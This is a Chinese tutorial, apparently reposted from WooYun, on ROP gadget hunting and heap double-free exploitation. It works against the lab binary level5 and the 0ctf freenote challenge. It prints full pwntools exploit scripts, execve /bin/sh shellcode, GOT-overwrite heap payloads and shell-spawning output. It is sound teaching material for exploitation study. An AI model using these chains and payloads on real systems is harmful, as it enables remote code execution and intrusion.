一步一步学ROP之gadgets和2free篇
蒸米 · 2015/11/25 10:39
0x00序
ROP的全稱為Return-oriented programming(返回導(dǎo)向編程),這是一種高級(jí)的內(nèi)存攻擊技術(shù),可以用來(lái)繞過(guò)現(xiàn)代操作系統(tǒng)的各種通用防御(比如內(nèi)存不可執(zhí)行和代碼簽名等)。上次我們主要討論了linux_x64的ROP攻擊。
一步一步學(xué)ROP之linux_x86篇drops.wooyun.org/tips/6597
一步一步學(xué)ROP之linux_x64篇drops.wooyun.org/papers/7551
在這次的教程中我們會(huì)帶來(lái)通用gadgets和堆漏洞利用的技巧,歡迎大家繼續(xù)學(xué)習(xí)。
另外文中涉及代碼可在我的github下載:github.com/zhengmin198…
0x01 通用 gadgets part2
上次講到了__libc_csu_init()的一條萬(wàn)能gadgets,其實(shí)不光__libc_csu_init()里的代碼可以利用,默認(rèn)gcc還會(huì)有如下自動(dòng)編譯進(jìn)去的函數(shù)可以用來(lái)查找gadgets。
_init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini 復(fù)制代碼除此之外在程序執(zhí)行的過(guò)程中,CPU只會(huì)關(guān)注于PC指針的地址,并不會(huì)關(guān)注是否執(zhí)行了編程者想要達(dá)到的效果。因此,通過(guò)控制PC跳轉(zhuǎn)到某些經(jīng)過(guò)稍微偏移過(guò)的地址會(huì)得到意想不到的效果。
比如說(shuō)說(shuō)我們反編譯一下__libc_csu_init()這個(gè)函數(shù)的尾部:
gdb-peda$ disas __libc_csu_init Dump of assembler code for function __libc_csu_init: ……0x0000000000400606 <+102>: movrbx,QWORD PTR [rsp+0x8]0x000000000040060b <+107>: movrbp,QWORD PTR [rsp+0x10]0x0000000000400610 <+112>: mov r12,QWORD PTR [rsp+0x18]0x0000000000400615 <+117>: mov r13,QWORD PTR [rsp+0x20]0x000000000040061a <+122>: mov r14,QWORD PTR [rsp+0x28]0x000000000040061f <+127>: mov r15,QWORD PTR [rsp+0x30]0x0000000000400624 <+132>: add rsp,0x380x0000000000400628 <+136>: ret 復(fù)制代碼可以發(fā)現(xiàn)我們可以通過(guò)rsp控制r12-r15的值,但我們知道x64下常用的參數(shù)寄存器是rdi和rsi,控制r12-r15并沒(méi)有什么太大的用處。不要慌,雖然原程序本身用是為了控制r14和r15寄存器的值。如下面的反編譯所示:
gdb-peda$ x/5i 0x000000000040061a0x40061a <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 復(fù)制代碼但是我們?nèi)绻?jiǎn)單的對(duì)pc做個(gè)位移再反編譯,我們就會(huì)發(fā)現(xiàn)esi和edi的值可以被我們控制了!如下面的反編譯所示:
gdb-peda$ x/5i 0x000000000040061b0x40061b <__libc_csu_init+123>: movesi,DWORD PTR [rsp+0x28]0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0] gdb-peda$ x/5i 0x00000000004006200x400620 <__libc_csu_init+128>: movedi,DWORD PTR [rsp+0x30]0x400624 <__libc_csu_init+132>: add rsp,0x380x400628 <__libc_csu_init+136>: ret 0x400629: nop DWORD PTR [rax+0x0]0x400630 <__libc_csu_fini>: repz ret 復(fù)制代碼雖然edi和esi只能控制低32位的數(shù)值,但已經(jīng)可以滿足我們的很多的rop需求了。
除了程序默認(rèn)編譯進(jìn)去的函數(shù),如果我們能得到libc.so或者其他庫(kù)在內(nèi)存中的地址,就可以獲得到大量的可用的gadgets。比如上一篇文章中提到的通用gadget只能控制三個(gè)參數(shù)寄存器的值并且某些值只能控制32位,如果我們想要控制多個(gè)參數(shù)寄存器的值的話只能去尋找其他的gadgets了。這里就介紹一個(gè)_dl_runtime_resolve()中的gadget,通過(guò)這個(gè)gadget可以控制六個(gè)64位參數(shù)寄存器的值,當(dāng)我們使用參數(shù)比較多的函數(shù)的時(shí)候(比如mmap和mprotect)就可以派上用場(chǎng)了。
我們把_dl_runtime_resolve反編譯可以得到:
0x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x38 0x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax 0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7def212 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi 0x7ffff7def217 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi 0x7ffff7def21c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8 0x7ffff7def221 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9 0x7ffff7def226 <_dl_runtime_resolve+38>: movrsi,QWORD PTR [rsp+0x40] 0x7ffff7def22b <_dl_runtime_resolve+43>: movrdi,QWORD PTR [rsp+0x38] 0x7ffff7def230 <_dl_runtime_resolve+48>: call 0x7ffff7de8680 <_dl_fixup> 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20] 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10] 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8] 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp] 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 復(fù)制代碼從0x7ffff7def235開(kāi)始,就是這個(gè)通用gadget的地址了。通過(guò)這個(gè)gadget我們可以控制rdi,rsi,rdx,rcx, r8,r9的值。但要注意的是_dl_runtime_resolve()在內(nèi)存中的地址是隨機(jī)的。所以我們需要先用information leak得到_dl_runtime_resolve()在內(nèi)存中的地址。那么_dl_runtime_resolve()的地址被保存在了哪個(gè)固定的地址呢?
通過(guò)反編譯level5程序我們可以看到[email?protected]()這個(gè)函數(shù)使用PLT [0] 去查找write函數(shù)在內(nèi)存中的地址,函數(shù)jump過(guò)去的地址*0x600ff8其實(shí)就是_dl_runtime_resolve()在內(nèi)存中的地址了。所以只要獲取到0x600ff8這個(gè)地址保存的數(shù)據(jù),就能夠找到_dl_runtime_resolve()在內(nèi)存中的地址:
0000000000400420 <[email?protected]>:400420: ff 35 ca 0b 20 00 pushq 0x200bca(%rip) # 600ff0 <_GLOBAL_OFFSET_TABLE_+0x8>400426: ff 25 cc 0b 20 00 jmpq *0x200bcc(%rip) # 600ff8 <_GLOBAL_OFFSET_TABLE_+0x10>40042c: 0f 1f 40 00 nopl 0x0(%rax)gdb-peda$ x/x 0x600ff8 0x600ff8 <_GLOBAL_OFFSET_TABLE_+16>: 0x00007ffff7def200gdb-peda$ x/21i 0x00007ffff7def2000x7ffff7def200 <_dl_runtime_resolve>: sub rsp,0x380x7ffff7def204 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax0x7ffff7def208 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx0x7ffff7def20d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx …. 復(fù)制代碼另一個(gè)要注意的是,想要利用這個(gè)gadget,我們還需要控制rax的值,因?yàn)間adget是通過(guò)rax跳轉(zhuǎn)的:
0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax …… 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 復(fù)制代碼所以我們接下來(lái)用ROPgadget查找一下libc.so中控制rax的gadget:
ROPgadget --binary libc.so.6 --only "pop|ret" | grep "rax" 0x000000000001f076 : pop rax ; pop rbx ; pop rbp ; ret 0x0000000000023950 : pop rax ; ret 0x000000000019176e : pop rax ; ret 0xffed 0x0000000000123504 : pop rax ; ret 0xfff0 復(fù)制代碼0x0000000000023950剛好符合我們的要求。有了pop rax和_dl_runtime_resolve這兩個(gè)gadgets,我們就可以很輕松的調(diào)用想要的調(diào)用的函數(shù)了。
0x02 利用mmap執(zhí)行任意shellcode
看了這么多rop后是不是感覺(jué)我們利用rop只是用來(lái)執(zhí)行system有點(diǎn)太不過(guò)癮了?另外網(wǎng)上和msf里有那么多的shellcode難道在默認(rèn)開(kāi)啟DEP的今天已經(jīng)沒(méi)有用處了嗎?并不是的,我們可以通過(guò)mmap或者mprotect將某塊內(nèi)存改成RWX(可讀可寫可執(zhí)行),然后將shellcode保存到這塊內(nèi)存,然后控制pc跳轉(zhuǎn)過(guò)去就可以執(zhí)行任意的shellcode了,比如說(shuō)建立一個(gè)socket連接等。下面我們就結(jié)合上一節(jié)中提到的通用gadgets來(lái)讓程序執(zhí)行一段shellcode。
我們測(cè)試的目標(biāo)程序還是level5。在exp中,我們首先用上一篇中提到的_dl_runtime_resolve中的通用gadgets泄露出got_write和_dl_runtime_resolve的地址。
#!python #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)#rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) 復(fù)制代碼隨后就可以根據(jù)偏移量和泄露的地址計(jì)算出其他gadgets的地址。
#!python shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )shellcode_addr = 0xbeef0000#mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0)#read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0)payload3 += p64(shellcode_addr) 復(fù)制代碼然后我們利用_dl_runtime_resolve里的通用gadgets調(diào)用mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0),開(kāi)辟一段RWX的內(nèi)存在0xbeef0000處。隨后我們使用read(rdi=0, rsi=shellcode_addr, rdx=1024),把我們想要執(zhí)行的shellcode讀入到0xbeef0000這段內(nèi)存中。最后再將指針跳轉(zhuǎn)到shellcode處就可執(zhí)行我們想要執(zhí)行的任意代碼了。
完整的exp8.py代碼如下:
#!python #!/usr/bin/env python frompwn import * elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = remote('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) plt_read = elf.symbols['read'] print "plt_read: " + hex(plt_read) linker_point = 0x600ff8 print "linker_point: " + hex(linker_point) got_pop_rax_ret = 0x0000000000023970 print "got_pop_rax_ret: " + hex(got_pop_rax_ret) main = 0x400564 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) off_mmap_addr = libc.symbols['write'] - libc.symbols['mmap'] print "off_mmap_addr: " + hex(off_mmap_addr) off_pop_rax_ret = libc.symbols['write'] - got_pop_rax_ret print "off_pop_rax_ret: " + hex(off_pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) write_addr = u64(p.recv(8)) print "write_addr: " + hex(write_addr) mmap_addr = write_addr - off_mmap_addr print "mmap_addr: " + hex(mmap_addr) pop_rax_ret = write_addr - off_pop_rax_ret print "pop_rax_ret: " + hex(pop_rax_ret) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=linker_point, rdx=4) payload2 = "\x00"*136 payload2 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(linker_point) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x4005F0) # movrdx, r15; movrsi, r14; movedi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) linker_addr = u64(p.recv(8)) print "linker_addr + 0x35: " + hex(linker_addr + 0x35) p.recvuntil("Hello, World\n") shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ) # GADGET # 0x7ffff7def235 <_dl_runtime_resolve+53>: mov r11,rax # 0x7ffff7def238 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30] # 0x7ffff7def23d <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28] # 0x7ffff7def242 <_dl_runtime_resolve+66>: movrdi,QWORD PTR [rsp+0x20] # 0x7ffff7def247 <_dl_runtime_resolve+71>: movrsi,QWORD PTR [rsp+0x18] # 0x7ffff7def24c <_dl_runtime_resolve+76>: movrdx,QWORD PTR [rsp+0x10] # 0x7ffff7def251 <_dl_runtime_resolve+81>: movrcx,QWORD PTR [rsp+0x8] # 0x7ffff7def256 <_dl_runtime_resolve+86>: movrax,QWORD PTR [rsp] # 0x7ffff7def25a <_dl_runtime_resolve+90>: add rsp,0x48 # 0x7ffff7def25e <_dl_runtime_resolve+94>: jmp r11 shellcode_addr = 0xbeef0000 #mmap(rdi=shellcode_addr, rsi=1024, rdx=7, rcx=34, r8=0, r9=0) payload3 = "\x00"*136 payload3 += p64(pop_rax_ret) + p64(mmap_addr) payload3 += p64(linker_addr+0x35) + p64(0) + p64(34) + p64(7) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) #read(rdi=0, rsi=shellcode_addr, rdx=1024) payload3 += p64(pop_rax_ret) + p64(plt_read) payload3 += p64(linker_addr+0x35) + p64(0) + p64(0) + p64(1024) + p64(shellcode_addr) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) payload3 += p64(shellcode_addr) print "\n#############sending payload3#############\n" p.send(payload3) sleep(1) #raw_input() p.send(shellcode+"\n") sleep(1) p.interactive() 復(fù)制代碼成功pwn后的效果如下:
$ python exp8.py [+] Started program './level5' got_write: 0x601000 got_read: 0x601008 plt_read: 0x400440 linker_point: 0x600ff8 got_pop_rax_ret: 0x23950 off_mmap_addr: -0x9770 off_pop_rax_ret: 0xc2670#############sending payload1#############write_addr: 0x7f9d39d95fc0 mmap_addr: 0x7f9d39d9f730 pop_rax_ret: 0x7f9d39cd3950#############sending payload2#############linker_addr + 0x35: 0x7f9d3a083235#############sending payload3#############[*] Switching to interactive mode $ whoami mzheng 復(fù)制代碼0x03 堆漏洞利用之double free
講了那么多stack overflow的例子,我們現(xiàn)在換換口味,先從double free開(kāi)始講一下堆漏洞的利用。Double free的意思是一個(gè)已經(jīng)被free的內(nèi)存塊又被free了第二次。正常情況下,如果double free,系統(tǒng)會(huì)檢測(cè)出該內(nèi)存塊已經(jīng)被free過(guò)了,不能被free第二次,程序會(huì)報(bào)錯(cuò)然后退出。但是如果我們精心構(gòu)造一個(gè)假的內(nèi)存塊就可騙過(guò)系統(tǒng)的檢測(cè),然后得到內(nèi)存地址任意寫的權(quán)限。隨后就可以修改got表將接下來(lái)會(huì)執(zhí)行的函數(shù)替換成system()再將參數(shù)改為我們想要執(zhí)行的指令,比如"/bin/sh"。最后就可以執(zhí)行system("/bin/sh")了。
想要學(xué)習(xí)double free,首先要了解什么是free chunk和allocated chunk。這個(gè)在網(wǎng)上有大量的資料,請(qǐng)感興趣的同學(xué)自學(xué)。
然后要了解Fast bin,Unsorted bin,Small bin和Large bin的概念。這個(gè)可以看這篇文章學(xué)習(xí):
sploitfun.wordpress.com/2015/02/10/…
除此之外還有個(gè)gdb工具可以幫助我們查看內(nèi)存中堆的信息,這對(duì)我們調(diào)試程序會(huì)有很大的幫助:
github.com/cloudburst/…
等到對(duì)堆的基本概念了解的差多了就可以學(xué)習(xí)如何利用unlink來(lái)做到內(nèi)存寫了。在最早版本的unlink中對(duì)內(nèi)存chunk是沒(méi)有任何檢測(cè)的,因此我們可以很容易的做到內(nèi)存任意寫。但現(xiàn)在版本的libc中會(huì)對(duì)free的那個(gè)chunk進(jìn)行檢測(cè),這個(gè)chunk的前一個(gè)chunk的bk指針和這個(gè)chunk的后一個(gè)chunk的fd指針必須指向這個(gè)即將free的chunk才行。為了bypass這個(gè)檢測(cè),我們必須在內(nèi)存中找到一個(gè)地址X指向P,然后將P的fd和bk指向X。最后再觸發(fā)double free的unlink,就可以將P地址的值設(shè)置為X了。
我們這次使用0ctf中的freenote這道題來(lái)實(shí)踐一下double free漏洞的利用。執(zhí)行這個(gè)程序我能看到這其實(shí)就是一個(gè)note記事本程序。通過(guò)new note和delete note可以malloc()和free()內(nèi)存。
$ ./freenote_x64 == 0ops Free Note == 1. List Note 2. New Note 3. Edit Note 4. Delete Note 5. Exit ==================== 復(fù)制代碼但是這個(gè)程序有兩個(gè)漏洞,一個(gè)是建立新note的時(shí)候在note的結(jié)尾處沒(méi)有加"\0"因此會(huì)造成堆或者棧的地址泄露,另一個(gè)問(wèn)題就是在delete note的時(shí)候,并不會(huì)檢測(cè)這個(gè)note是不是已經(jīng)被刪除過(guò)了,因此可以刪除一個(gè)note兩遍,造成double free。
首先我們要泄露libc和heap在內(nèi)存中的地址。因?yàn)閚ote的結(jié)尾沒(méi)有"\0",因此在輸出時(shí)會(huì)把后面的內(nèi)容打印出來(lái)。因?yàn)閒reelist的頭部保存在了libc的.bss段,因此我們可以見(jiàn)通過(guò)刪除兩個(gè)note再刪除一個(gè)note,然后再建立一個(gè)新note的方法來(lái)泄露出libc在內(nèi)存中的地址:
#!python notelen=0x80new_note("A"*notelen) new_note("B"*notelen) delete_note(0)new_note("\xb8") list_note() p.recvuntil("0. ") leak = p.recvuntil("\n")print leak[0:-1].encode('hex') leaklibcaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leaklibcaddr) delete_note(1) delete_note(0)system_sh_addr = leaklibcaddr - 0x3724a8 print "system_sh_addr: " + hex(system_sh_addr) binsh_addr = leaklibcaddr - 0x23e7f1 print "binsh_addr: " + hex(binsh_addr) 復(fù)制代碼同樣的如果讓某個(gè)非使用中 chunk 的fd欄位指向另一個(gè) chunk,并且讓note的內(nèi)容剛好接上,就可以把 chunk在堆上的位置給洩漏出來(lái)。這樣我們就能得到堆的基址。
#!python notelen=0x10 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) delete_note(0) new_note("AAAAAAAA") list_note() p.recvuntil("0. AAAAAAAA") leak = p.recvuntil("\n") print leak[0:-1].encode('hex') leakheapaddr = u64(leak[0:-1].ljust(8, '\x00')) print hex(leakheapaddr) delete_note(0) delete_note(1) delete_note(3) notelen = 0x80 new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) delete_note(2) delete_note(1) delete_note(0) 復(fù)制代碼通過(guò)泄露的libc地址我們可以計(jì)算出system()函數(shù)和"/bin/sh"字符串在內(nèi)存中的地址,通過(guò)泄露的堆的地址我們能得到note table的地址。然后我們構(gòu)造一個(gè)假的note,利用使用double free的漏洞觸發(fā)unlink,將note0的位置指向note table的地址。隨后我們就可以通過(guò)編輯note0來(lái)編輯note table了。通過(guò)編輯note table我們把note0指向free()函數(shù)在got表中的地址,把note1指向"/bin/sh"在內(nèi)存中的地址。然后我們編輯note0把free()函數(shù)在got表中的地址改為system()的地址。最后我們執(zhí)行delete note1操作。因?yàn)槲覀儼裯ote1的地址指向了"/bin/sh",所以正常情況下程序會(huì)執(zhí)行free("/bin/sh"),但別忘了我們修改了got表中free的地址,所以程序會(huì)執(zhí)行system("/bin/sh"),最終達(dá)到了我們的目的:
#!python fd = leakheapaddr - 0x1808 #notetable bk = fd + 0x8 payload = "" payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20) payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20) new_note(payload) delete_note(1) free_got = 0x602018 payload2 = p64(notelen) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_addr) payload2 += "A"* (notelen*3-len(payload2)) edit_note(0, payload2) edit_note(0, p64(system_sh_addr)) delete_note(1) p.interactive() 復(fù)制代碼執(zhí)行exp的結(jié)果如下:
$ python exp9.py [+] Started program './freenote_x64' b8a75eb2b57f 0x7fb5b25ea7b8 system_sh_addr: 0x7fb5b2278310 binsh_addr: 0x7fb5b23abfc7 20684b02 0x24b6820 [*] Switching to interactive mode $ whoami mzheng 復(fù)制代碼0x04 總結(jié)
除了64位的freenote,blue-lotus還弄了一個(gè)32位版的freenote給大家練習(xí)。這些binary和exp都可以在我的github上下載到:
github.com/zhengmin198…
另外,下篇我會(huì)帶來(lái)arm上rop的利用,敬請(qǐng)期待。
0x05 參考資料
總結(jié)
以上是生活随笔為你收集整理的一步一步学ROP之gadgets和2free篇的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 1057. 数零壹(20)
- 下一篇: BurpSuite插件开发指南之 Jav